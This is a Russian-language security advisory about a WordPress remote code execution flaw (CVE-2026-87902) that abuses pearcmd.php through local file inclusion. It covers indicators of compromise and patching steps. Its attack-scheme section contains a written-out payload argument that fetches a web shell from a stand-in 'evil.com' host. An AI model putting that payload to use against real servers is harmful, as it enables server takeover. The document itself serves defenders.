Критическая уязвимость CVE-2026-87902: удалённое выполнение кода в WordPress без аутентификации

В начале октября 2026 года в ядре WordPress обнаружена уязвимость CVE-2026-87902 с максимальной оценкой 10 баллов по шкале CVSS. Она позволяет любому злоумышленнику без авторизации загрузить и выполнить произвольный PHP-код через локальное включение файла (LFI) с участием pearcmd.php. Разработчики уже выпустили экстренный патч версии 7.1.2, но попытки эксплуатации начались спустя считанные часы.

В начале октября 2026 года в ядре WordPress обнаружена уязвимость CVE-2026-87902 с максимальной оценкой 10 баллов по шкале CVSS. Она позволяет любому злоумышленнику без авторизации загрузить и выполнить произвольный PHP-код через локальное включение файла (LFI) с участием pearcmd.php. Разработчики уже выпустили экстренный патч версии 7.1.2, но попытки эксплуатации начались спустя считанные часы.

Что произошло

12 октября 2026 года разработчики WordPress выпустили экстренное обновление безопасности 7.1.2, закрывающее уязвимость CVE-2026-87902. Проблема получила максимальную оценку 10 баллов по шкале CVSS, поскольку позволяет неаутентифицированному злоумышленнику выполнить произвольный PHP-код на целевом сервере. Уже через несколько часов после публикации патча исследователи зафиксировали попытки массовой эксплуатации.

Технические детали: от LFI к выполнению кода

Уязвимость базируется на некорректной обработке входных данных в механизме загрузки шаблонов WordPress. Атакующий может сформировать HTTP-запрос, в котором через параметр $file передаётся путь к встроенному файлу pearcmd.php из состава PEAR. Если сервер работает под Windows, путь конструируется таким образом, чтобы передать аргументы командной строки через $argv. Это позволяет выполнить команды pear, включая install, config-create и другие, с последующей загрузкой и выполнением вредоносного PHP-файла.

Схема атаки:

  1. Злоумышленник отправляет запрос на целевую установку WordPress без какой-либо аутентификации.
  2. В параметре передаётся специально составленный путь, указывающий на pearcmd.php, и аргумент вида +install+--installroot+/tmp/+http://evil.com/shell.php.
  3. PEAR скачивает shell.php и размещает его в доступной для выполнения директории.
  4. Атакующий обращается к этому файлу, получая полноценный веб-шелл.

Похожий вектор ранее использовался в атаках на другие CMS, но в WordPress проблема оставалась незамеченной из-за особенностей конфигурации путей.

Индикаторы компрометации

Специалисты Wordfence и Patchstack выделили несколько признаков, указывающих на возможную эксплуатацию CVE-2026-87902:

  • POST- или GET-запросы к любым публичным страницам сайта, содержащие в строке запроса pearcmd.php и ключевое слово install.
  • Появление новых .php файлов в директориях вроде /wp-content/, /tmp/ или в корневой папке сайта.
  • Подозрительные записи в логах веб-сервера с HTTP-статусом 200 для файлов, которые не должны быть доступны извне.
  • Внезапное увеличение исходящего трафика или попытки подключения к незнакомым IP-адресам.

Известные IP-адреса, с которых осуществлялись попытки эксплуатации, варьируются: по отчётам безопасности, в первые часы замечены адреса из диапазонов хостинг-провайдеров и VPN-сервисов. Рекомендуется проверять логи на предмет доступа с нехарактерных географических локаций.

Как защититься

  1. Немедленно обновите WordPress до версии 7.1.2 через встроенный механизм обновлений или скачав дистрибутив с официального сайта. Патч устраняет возможность злонамеренного использования pearcmd.php.
  2. Проверьте файловую систему на наличие неизвестных PHP-скриптов и удалите их.
  3. Проанализируйте логи веб-сервера за последние дни на предмет запросов, содержащих pearcmd.php или подозрительные аргументы.
  4. Ограничьте доступ к CLI-инструментам, если сайт работает на Windows: отключите или переименуйте pearcmd.php, если он не используется. Однако основной метод защиты — обновление.
  5. Используйте WAF или межсетевой экран приложений для блокировки эксплойтов на уровне сигначур.

Ответить